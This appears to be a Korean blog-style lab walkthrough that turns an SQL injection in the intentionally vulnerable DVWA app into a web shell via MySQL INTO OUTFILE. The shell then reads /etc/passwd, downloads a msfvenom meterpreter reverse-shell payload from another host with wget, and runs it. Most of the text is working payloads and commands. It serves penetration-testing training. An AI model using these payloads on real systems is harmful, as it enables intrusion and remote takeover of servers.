SQL 인젝션(SQL Injection) 취약점 발견 시 MySQL의 INTO OUTFILE 취약점을 이용하여 웹쉘(WebShell) 파일을 업로드하고, 웹쉘의 시스템 명령어를 입력하여 백도어(Backdoor)를 업로드하여 실행할 수 있다.
이런 기능을 sqlmap의 --os-shell, --os-pwn 옵션을 지정하면 자동으로 해주는데, 업로드에 계속 실패해서 수동으로 작업한다.
SQL의 INTO OUTFILE을 이용해 웹쉘 파일을 업로드하려면 다음과 같은 조건이 필요하다.
○ SQL 인젝션 취약점 발견, 접근 유저의 파일 권한, 해당 디렉토리에 파일을 쓸 수 있는 권한
○ 구 버전의 DVWA에서는 잘 되지 않으므로 버전 1.8에서 테스트 함
DVWA의 로우(Low) 레벨로 설정하고, 입력 폼에 다음과 같이 입력한다.
○ 1 and 1=1' union select 1, "<?php system($_GET['cmd']) ?>" INTO OUTFILE "/var/www/dvwa/vulnerabilities/sqli/daze1.php" #
웹쉘 파일(daze1.php)이 정상적으로 업로드 되었는지 확인하려면 load_file을 이용한다.
○ 1 and 1=1' union select 1, load_file('/var/www/dvwa/vulnerabilities/sqli/daze1.php') #
업로드한 경로로 이동하여 cmd 매개변수에 시스템 명령어를 입력한다.
○ http://10.10.0.12/dvwa/vulnerabilities/sqli/daze1.php?cmd=cat /etc/passwd
sqlmap의 --os-pwn 옵션 설정 후 제대로 백도어가 업로드 되지 않아 수동으로 작업. 리눅스의 메타프리터 페이로드 생성한다.
○ msfvenom –p linux/x86/meterpreter/reverse_tcp LHOST=10.10.0.4 LPORT=7777 –f elf –o /root/Desktop/daze_payload
해당 경로에 페이로드를 업로드, 페이로드 권한 확인 후 실행 권한을 추가한다.
○ http://10.10.0.12/dvwa/vulnerabilities/sqli/daze1.php?cmd=wget http://192.168.1.16:8080/daze_payload
○ http://10.10.0.12/dvwa/vulnerabilities/sqli/daze1.php?cmd=ls –al daze_payload
○ http://10.10.0.12/dvwa/vulnerabilities/sqli/daze1.php?cmd=chmod 777 daze_payload
페이로드를 실행하면 공격자 서버와 세션이 맺어지며 메타프리터 쉘이 떨어짐. 현재 접속된 사용자는 아파치 권한이므로 또 다른 시스템 취약점을 이용한 권한 상승이 필요하다.
○ http://10.10.0.12/dvwa/vulnerabilities/sqli/daze1.php?cmd=./daze_payload